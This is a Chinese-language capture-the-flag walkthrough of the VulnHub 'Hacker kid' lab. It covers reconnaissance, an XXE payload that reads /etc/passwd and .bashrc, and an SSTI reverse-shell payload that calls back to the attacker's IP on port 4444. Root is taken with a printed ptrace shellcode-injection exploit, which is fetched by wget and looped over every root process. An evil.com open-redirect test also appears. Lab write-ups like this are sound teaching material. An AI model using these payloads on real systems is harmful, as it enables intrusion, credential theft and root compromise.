当前位置: 首页 > ds >正文

Hacker kid: 1.0.1靶场渗透测试

Hacker kid: 1.0.1

来自 <Hacker kid: 1.0.1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.237

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.237

存在两个端口开放着http服务,首先访问80端口开放的http服务

只是一个静态页面,没什么用。查看页面得到提示

靶场提示你去尝试 ?page_no=... 的 GET 参数访问。很可能后端对 page_no 的处理存在漏洞,比如:

  1. SQL 注入 (page_no=1' OR '1'='1)
  2. 本地文件包含(LFI)攻击 (page_no=../../etc/passwd)
  3. 目录遍历(如下载页面内容)

4,然后就是对这个GET传参的位置进行模糊测试

http://192.168.23.237/?page_no=1

果然存在回显,使用burpsuite抓个包爆一下哪个数字字符能够回显出关键信息

传入的GET参数设置为变量,爆破范围1-100

当GET传入21的时候,靶场会回显出来一个域名

5,将得到的域名hackers.blackhat.local添加到/etc/hosts

vim /etc/hosts

添加成功,访问成功

网站提示我们使用dig工具,使用之

dig hackerkid.blackhat.local @192.168.23.237

如下图挖出来了一个新的主机名hackerkid.blackhat.local,那就继续在/etc/hosts文件里面添加一个新的解析

echo "192.168.23.237 hackerkid.blackhat.local" >> /etc/hosts;cat /etc/hosts

dig 简介

dig(Domain Information Groper)是用于查询 DNS 记录 的命令行工具,支持调试 DNS 问题、获取域名解析信息等。

基本用法

1. 查询域名的 A 记录(默认)

dig example.com

输出解析

  • ANSWER SECTION:显示域名的 IP 地址(A 记录)。
  • Query time:查询耗时。
  • SERVER:使用的 DNS 服务器。

2. 简化输出(仅结果)

dig +short example.com

输出示例:

93.184.216.34

常见查询类型

1. 查询 MX 记录(邮件服务器)

dig example.com MX

2. 查询 NS 记录(域名服务器)

dig example.com NS

3. 查询 CNAME 记录(别名)

dig www.example.com CNAME

4. 查询 TXT 记录(文本信息,如 SPF、DKIM)

dig example.com TXT

5. 反向 DNS 查询(IP 到域名)

dig -x 93.184.216.34

高级选项

1. 指定 DNS 服务器

使用 @ 指定查询的 DNS 服务器(如 Google DNS):

dig @8.8.8.8 example.com

2. 跟踪 DNS 查询路径

dig example.com +trace

3. 显示详细调试信息

dig example.com +multiline +nocmd +noall +answer

4. 使用 TCP 代替 UDP

默认使用 UDP,强制使用 TCP:

dig example.com +vc

批量查询

从文件读取域名列表并批量查询:

cat domains.txt | while read domain; do dig $domain +short; done

常用场景示例

1. 检查 DNS 解析延迟

dig example.com | grep "Query time"

2. 验证 DNSSEC 签名

dig example.com +dnssec

3. 查询所有记录类型

dig example.com ANY

 

6,访问新的域名得到了新网页

使用burpsuite抓一个包看看啥情况,首先设置代理转发到物理机的burpsuite

firefox --new-instance --no-remote --profile $(mktemp -d) \

  --setPref "network.proxy.type=1" \

  --setPref "network.proxy.http=192.168.99.74" \

  --setPref "network.proxy.http_port=8080" \

  --setPref "network.proxy.ssl=192.168.99.74" \

  --setPref "network.proxy.ssl_port=8080"

或者修改物理机的C:\Windows\System32\drivers\etc\hosts文件,修改完成之后,需要刷新DNS缓存

然后使用burpsuite成功抓包

存在 XXE(XML External Entity)漏洞 的可能性较高,原因如下:

  1. 请求内容为 XML 格式Content-Type: text/plain 但实际传输的是 XML 数据,服务端可能直接解析 XML。
  2. 未禁用外部实体:如果服务端未配置禁用外部实体引用,攻击者可通过注入恶意实体实现任意文件读取或 SSRF。

右键发送到repeater模块,然后注入测试代码

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE llw [

<!ENTITY file SYSTEM  "file:///etc/passwd">

]>

<root><name>test</name><tel>12312341234</tel><email>&file;</email><password>123456</password></root>

通过响应包知道了存在一个用户saket。再用php://协议的base64流查看一下saket用户的环境变量(file://协议不能正常回显)

php://filter/convert.base64-encode/resource=/home/saket/.bashrc

可以看到saket用户的环境变量内容已经以base64的方式返回出来了,解码得到关键泄露信息

使用burpsuite decoder模块base64解码内容发现了一个admin用户和密码Saket!#$%@!!

.bashrc 文件详解

.bashrc 是 Bash Shell 的配置文件,主要用于定义用户的 Shell 环境。当用户以 非登录模式 启动 Bash 时(如打开终端窗口),系统会自动加载此文件。它是 Linux/macOS 用户定制开发环境的核心工具之一。

1. 文件位置与作用

路径~/.bashrc (用户主目录下,隐藏文件)

作用:

  • 设置 别名(Alias):简化常用命令。
  • 定义 环境变量:如 PATHJAVA_HOME
  • 配置 Shell 提示符(PS1):个性化终端显示。
  • 加载脚本或工具:如自动激活 Python 虚拟环境。
  • 覆盖默认 Shell 行为:例如禁用历史记录重复项。

2. 文件结构与语法

.bashrc 本质是一个 Shell 脚本,支持所有 Bash 语法:

# 示例:设置别名和环境变量
alias ll='ls -alF'  # 定义别名
export PATH="$PATH:/usr/local/bin"  # 添加路径
export EDITOR="vim"  # 设置默认编辑器

# 函数定义
greet() {
  echo "Hello, $USER!"
}

# 条件判断(如检测特定系统)
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
  alias open="xdg-open"
fi

3. 重要注意事项

3.1 生效方式

  • 手动生效: 修改后运行 source ~/.bashrc 或 . ~/.bashrc
  • 自动生效: 新打开的终端窗口会自动加载最新配置。

3.2 作用范围

  • 仅对当前用户生效:因为文件位于用户主目录下。
  • 子进程继承:在 Shell 中启动的程序(如脚本)会继承 .bashrc 中的环境变量。

3.3 与其他配置文件的关系

文件

加载场景

典型用途

~/.bash_profile

登录 Shell(如 SSH)

定义全局环境变量、启动程序

~/.bash_logout

退出 Shell 时

清理临时文件、记录日志

/etc/bashrc

所有用户的 Bash Shell

系统级别名和函数

3.4 调试技巧

  • 检查语法错误: bash -n ~/.bashrc
  • 查看加载过程: bash -x ~/.bashrc
  • 临时禁用: 启动 Bash 时使用 --norc 参数。

 

7,既然得到了一个账户密码,那么接下来就是找能够登录的网页,正好发现9999端口存在的网站是需要登录的

使用saket/Saket!#$%@!!登录成功

根据页面提示通过name传入GET参数buddy试试

http://192.168.23.237:9999/?name=buddy

没有什么明显的提示,使用burpsuite抓一个请求包看看

 

8,使用whatweb对网站使用的技术栈进行指纹识别

1. Tornado Server 6.1 版本风险

  • 分析:Tornado 6.1 发布于2021年,需检查是否存在已知漏洞。
  • CVE-2020-28476:影响Tornado <6.1,已修复(WebSocket 内存耗尽漏洞)。
  • 其他潜在风险:检查更新日志,确认6.1是否修复关键漏洞。

建议

  • 使用工具(如nmap脚本、CVE数据库)验证是否存在未修复漏洞。
  • 关注应用层逻辑漏洞(如路由配置不当)。

2. 开放重定向漏洞(Open Redirect)

风险点next 参数未过滤,可能导致重定向至恶意站点。

验证方法
curl -v "
http://192.168.23.237:9999/login?next=http://evil.com"

观察是否返回302并跳转到http://evil.com

修复建议:校验next参数为相对路径或白名单域名。

3. 登录表单安全测试

密码爆破

  • 使用工具(Hydra、Burp Intruder)尝试常见弱口令(admin/admin、root/123456)。
  • 观察是否提供错误次数限制或锁定机制。

注入测试

  • SQL注入:用户名输入' OR 1=1 --,观察响应变化。
  • SSTI测试:输入{{7*7}},若返回49则存在模板注入。

CSRF保护绕过:检查_xsrf令牌是否随机且绑定会话,尝试重放请求移除令牌或使用固定值。

4. 敏感信息泄露

静态文件泄露

  • 访问 /static//robots.txt 等路径,查找源码或配置文件。
  • 尝试下载/etc/passwd(如路径遍历:../../etc/passwd)。

调试端点

  • 访问 /debug 或 /console,检查是否启用调试模式。

5. 会话管理风险

Cookie分析

  • 检查_xsrf令牌熵值(是否可预测或重复)。
  • 测试会话固定或劫持可能性。

 

TornadoServer 6.1 的 SSTI 漏洞详细解析

漏洞成因

Tornado 框架的 SSTI(服务端模板注入)漏洞主要源于开发者对用户输入处理不当,将未经验证或过滤的用户输入直接嵌入模板渲染函数中。具体成因包括以下关键点:

  1. 动态渲染用户输入
    开发者使用 render_string() 或类似函数时,直接将用户输入拼接为模板内容。例如:
    class VulnHandler(tornado.web.RequestHandler):
        def get(self):
            user_input = self.get_argument('param')
            self.render_string(f"User Input: {user_input}") 
    # 用户输入直接嵌入模板
    若用户输入包含模板语法(如 {{handler.settings}}),模板引擎会解析并执行这些代码,导致漏洞
  2. 模板引擎特性
    Tornado 模板语法与 Jinja2 类似,支持以下功能:
    • 表达式输出{{ ... }}(如 {{1+1}} 输出 2)。
    • 控制语句{% ... %}(如循环、条件判断)。
    • 内置对象 handler:指向当前请求的 RequestHandler 实例,可通过其全局变量访问敏感数据(如 handler.settings 包含应用配置)26
  3. 攻击链构造
    攻击者利用 Python 魔术方法链(如 __class____bases____subclasses__())遍历类继承链,定位危险类(如 os._wrap_close)并执行命令。例如:
    {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('id')}}
    其中 
    X 是目标子类的索引29

漏洞利用场景

  1. 敏感信息泄露
    注入 {{handler.settings}} 可泄露 Tornado 应用的配置信息,如 cookie_secret(用于签名校验),进而伪造会话或解密敏感数据28
  2. 远程代码执行(RCE)
    通过模板语法调用危险函数(如 os.popensubprocess.Popen)执行任意命令:
    {{__import__("os").popen("cat /etc/passwd").read()}}
    {% import os %}{{os.popen("id").read()}}
    ```:cite[2]:cite[6]
  3. 文件操作
    利用 open() 函数读取或写入文件(需沙盒未禁用相关操作):
    {{open('/etc/passwd').read()}} 
    # 读取文件
    ```:cite[2]

漏洞触发条件

  1. 输入可控:攻击者能控制传入模板的参数(如 URL 参数、Cookie、请求头)。
  2. 未过滤危险字符:未对 {{}}__class__ 等符号进行转义或过滤。
  3. 模板动态渲染:使用 render_string 等函数动态生成模板内容23

典型攻击链示例

  1. 信息泄露
    GET /error?msg={{handler.settings}} HTTP/1.1
    返回结果包含 
    cookie_secret 等敏感配置8
  2. 命令执行
    GET /?name={{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} HTTP/1.1
    通过子类链调用 
    os 模块执行命令19

防御与缓解措施

  1. 输入过滤
  • 禁止用户输入直接嵌入模板,改用预定义变量:self.render("template.html", param=filtered_input)2
  • 正则过滤 {{}}__class__ 等敏感符号210
  1. 沙盒环境配置
  • 启用 Tornado 的 restricted_environment 模式,限制模板可访问的对象和方法2
  • 移除全局命名空间中的危险模块(如 ossubprocess2
  1. 服务加固
  • 设置 debug=False,避免异常信息泄露2
  • 定期更新 Tornado 版本,修复已知漏洞(如 CVE-2024-38472)210

与其他框架的对比

特性

Tornado

Flask(Jinja2)

Django

模板语法

类似 Jinja2

标准 Jinja2

自研模板系统

高危对象

handler.settings

configrequest

settings

漏洞利用难度

中等(依赖上下文对象)

较低(魔术方法链成熟)

较高(沙盒严格)2

总结

TornadoServer 6.1 的 SSTI 漏洞本质是开发者未能正确处理用户输入,结合模板引擎的动态渲染特性,导致攻击者可注入恶意代码。防御需从输入过滤、沙盒配置、框架升级多维度入手,避免因代码不规范引发的安全风险。

 

9,基本模板语法测试

测试目的:验证是否存在模板引擎解析行为

Payload

/?name={{7*7}}       # 检测是否返回49
/?name=${7*7}        # 针对其他模板引擎(如FreeMarker)
/?name=<%= 7*7 %>    # 针对ERB(Ruby)

观察点

  • 页面内容是否输出计算结果(如49
  • 是否触发错误信息(如模板语法错误)

分析存在SSTI模板注入,然后构造语句反弹shell(需要URL编码)

{%25+import+os+%25}{{os.system('bash+-c+"bash+-i+%26>+/dev/tcp/192.168.23.182/4444+0>%261"')}}

1. {% import os %}

  • Jinja2 语法,导入 Python 的 os 模块,目的是为了使用系统功能(比如执行命令)。
  • 一些模板环境可能不允许直接 import,需要特殊绕过。

2. {{ os.system(...) }}

  • 使用模板表达式执行 os.system(),从而执行一个系统命令。
  • 模板引擎会将结果渲染为字符串(通常无关紧要,因为执行效果已达成)。

3. 'bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"'

这是一个 反弹 shell 命令(reverse shell),含义如下:

  • bash -i: 启动交互式 bash shell。
  • >& /dev/tcp/192.168.23.182/4444: 将标准输出和标准错误重定向到攻击者的 IP 和端口。
  • 0>&1: 将标准输入重定向为从远程主机接收,形成一个交互式会话。

结果就是:服务器会尝试连接攻击者机器上的 4444 端口,并提供一个 shell

与此同时kali打开对4444端口的监听

nc -lvvp 4444

成功getshell

10,开始逐步信息收集

然后查找如何提权

sudo -l

find / -perm -u=s 2>/dev/null

然后再看用户操作的历史记录

/usr/sbin/getcap /usr/bin/python2.7命令看看python2.7

getcap 是 Linux 系统中的一个命令,用于查看二进制文件或可执行文件拥有的 文件能力(Capabilities)

什么是 Capabilities?

Linux Capabilities(能力) 是一种对传统 root 权限的细粒度拆分机制,允许将原本只有超级用户(root)才能执行的操作,划分为多个独立的权限单元,可以单独赋予给程序或进程,从而实现 最小权限原则

为什么需要 Capabilities?

在早期的 Linux 系统中:

  • root 权限是“全能”的,一旦某个程序获取 root 权限,就可以为所欲为。
  • 如果只想让程序拥有一项特权(比如绑定 80 端口),仍需赋予完整 root 权限,风险极高

Capabilities 则将这些“超级权限”拆分,比如只授予:

  • 网络监听能力
  • 修改系统时间能力

常见的 Capabilities 权限

能力名

含义

用途示例

CAP_CHOWN

修改文件所有者

chown 命令

CAP_NET_RAW

使用原始 socket

ping 命令

CAP_NET_BIND_SERVICE

绑定低于 1024 的端口

nginx 绑定 80 端口

CAP_DAC_OVERRIDE

绕过文件权限检查

任意文件读取

CAP_SYS_PTRACE

调试其他进程

gdb、strace

CAP_SYS_ADMIN

“万能”权限(接近 root)

挂载、设定参数等

CAP_SYS_ADMIN 被认为是“能力界的 root”,提权风险极大。

安全风险

  • 如果一个程序被赋予敏感的 Capabilities,比如 cap_sys_admin,就可能造成权限提升(提权)。
  • getcap 在渗透测试中用于识别可能被滥用提权的程序。

 

11,既然现在控制着非 root 用户,而且能运行具有 CAP_SYS_PTRACE 的二进制文件。那就查找系统中存在运行中的 root 进程,进行内存注入 + 进程劫持

ps aux | grep root

为了方便提权,使用将nc的shell会话迁移至kali的metasploit

(需要再执行一遍 http://192.168.23.237:9999/?name={%25+import+os+%25}{{os.system(%27bash+-c+%22bash+-i+%26%3E+/dev/tcp/192.168.23.182/4444+0%3E%261%22%27)}})

use exploit/multi/handle

set PAYLOAD cmd/unix/reverse_bash

set LHOST 192.168.23.182

set LPORT 4444

run

然后写入公开的exp代码

import ctypes

import sys

import struct

PTRACE_POKETEXT   = 4

PTRACE_GETREGS    = 12

PTRACE_SETREGS    = 13

PTRACE_ATTACH     = 16

PTRACE_DETACH     = 17

class user_regs_struct(ctypes.Structure):

    _fields_ = [

        ("r15", ctypes.c_ulonglong),

        ("r14", ctypes.c_ulonglong),

        ("r13", ctypes.c_ulonglong),

        ("r12", ctypes.c_ulonglong),

        ("rbp", ctypes.c_ulonglong),

        ("rbx", ctypes.c_ulonglong),

        ("r11", ctypes.c_ulonglong),

        ("r10", ctypes.c_ulonglong),

        ("r9", ctypes.c_ulonglong),

        ("r8", ctypes.c_ulonglong),

        ("rax", ctypes.c_ulonglong),

        ("rcx", ctypes.c_ulonglong),

        ("rdx", ctypes.c_ulonglong),

        ("rsi", ctypes.c_ulonglong),

        ("rdi", ctypes.c_ulonglong),

        ("orig_rax", ctypes.c_ulonglong),

        ("rip", ctypes.c_ulonglong),

        ("cs", ctypes.c_ulonglong),

        ("eflags", ctypes.c_ulonglong),

        ("rsp", ctypes.c_ulonglong),

        ("ss", ctypes.c_ulonglong),

        ("fs_base", ctypes.c_ulonglong),

        ("gs_base", ctypes.c_ulonglong),

        ("ds", ctypes.c_ulonglong),

        ("es", ctypes.c_ulonglong),

        ("fs", ctypes.c_ulonglong),

        ("gs", ctypes.c_ulonglong),

    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.

libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]

libc.ptrace.restype = ctypes.c_uint64

# Attach to the process

libc.ptrace(PTRACE_ATTACH, pid, None, None)

registers=user_regs_struct()

# Retrieve the value stored in registers

libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.

shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.

for i in xrange(0,len(shellcode),4):

  # Convert the byte to little endian.

  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)

  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')

  shellcode_byte=int(shellcode_byte_little_endian,16)

  # Inject the byte.

  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer

registers.rip=registers.rip+2

# Set the registers

libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.

libc.ptrace(PTRACE_DETACH, pid, None, None)

  1. 代码功能概览
  • 通过ptrace系统调用附加到目标进程(PID由参数指定)
  • 获取目标进程的寄存器状态
  • 向目标进程的内存空间写入预置的Shellcode
  • 修改指令指针(RIP)指向注入的Shellcode
  • 恢复进程执行
  1. 技术细节分析
  • ptrace控制
  • PTRACE_ATTACH附加进程
  • PTRACE_GETREGS获取寄存器
  • PTRACE_POKETEXT写入内存
  • PTRACE_SETREGS修改寄存器
  • PTRACE_DETACH解除附加
  • Shellcode注入
  • 使用反向TCP连接Shellcode(监听端口5600)
  • 逐4字节写入目标进程内存(存在潜在问题)
  • 执行流劫持
  • 通过修改RIP寄存器指向注入的Shellcode地址
  1. 存在的主要问题
  • 内存写入缺陷
  • PTRACE_POKETEXT每次操作8字节,但代码每次写入4字节,会导致高4位被清零
  • 正确做法应使用8字节对齐操作(如struct.pack("<Q", ...)
  • RIP计算错误
  • registers.rip+2的偏移量没有实际意义
  • 正确应直接使用原始RIP地址(Shellcode起始位置)
  • 架构兼容性
  • Shellcode为64位架构设计,若目标进程为32位将失败
  1. 潜在风险
  • 需要root权限或ptrace权限(/proc/sys/kernel/yama/ptrace_scope)
  • 可能触发反调试机制
  • Shellcode功能可能被安全软件检测
  1. 执行流程

附加进程 → 获取寄存器 → 注入代码 → 修改RIP → 恢复执行
                        ↓
                目标进程执行Shellcode

该代码本质上是实现了一个基于ptrace的进程注入攻击原型

kali上写入exp代码,然后开启http访问允许靶机下载

下载exp

wget http://192.168.23.182:8000/exp.py

然后执行脚本注入进程930

python2.7 exp.py 930

验证5600端口是否开放

ss -pantu |grep 5600

最后再使用nc进行连接,成功提权成为root用户

nc 192.168.23.237 5600  

第二种方法,脚本自动化进程注入

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

ss -pantu |grep 5600

成功提权成为root用户

nc 192.168.23.237 5600  

http://www.xdnf.cn/news/4496.html

相关文章:

  • 玛格丽特鸡尾酒评鉴,玛格丽特酒的寓意和象征
  • 巧用Ozon价格指数,发挥本土供应链优势提升商品竞争力
  • 商业实战将归巢网内容构建为本地RAG模型的完整指南01-优雅草卓伊凡
  • 使用hybird做接口配置
  • Protobuf的速成之旅
  • 数智管理学(七)
  • RA4M2开发TOF VL53L4CD(1)----轮询获取测距数据
  • 【Trea】Trea国际版|海外版下载
  • MUSIQ ,MANIQA,CLIP-IQA,FID是什么指标,分别是如何计算的(图像恢复领域评价指标
  • MPU6050 六轴姿态 Arduino ESP32 Test
  • 使用pyenv安装Python指南
  • C++ vector 介绍与使用
  • 【Fifty Project - D23】
  • 可视化图解算法33:判断是不是平衡二叉树
  • C++自动重连机制设计与实现指南
  • 融智学核心理论的数学化表达(之二)
  • Java中的Classpath 包含哪些目录?
  • 为什么800*800mm防静电地板“应用较少
  • 基于@ConfigurationProperties+@EnableConfigurationProperties的配置管理-笔记
  • Qt/C++面试【速通笔记七】—Qt中为什么new QWidget不需要手动调用delete?
  • 资产管理系统选型避坑:2025年核心技术趋势洞察
  • 求组合数【递推+快速幂+卢卡斯+线性筛】
  • AAAI2025论文整理-数字人驱动方向
  • spark 的流量统计案例
  • android-ndk开发(8): ndk 和 clang 版本对照表
  • 北京华锐视点邀您参与2025数字显示与元宇宙博览会【5月10-12日】
  • 浅谈Vue2 与 Vue3 的区别
  • 前端流行框架Vue3教程:13. 组件传递数据_Props
  • 学习Linux的第三天
  • 某振动分析系统的参数交叉核算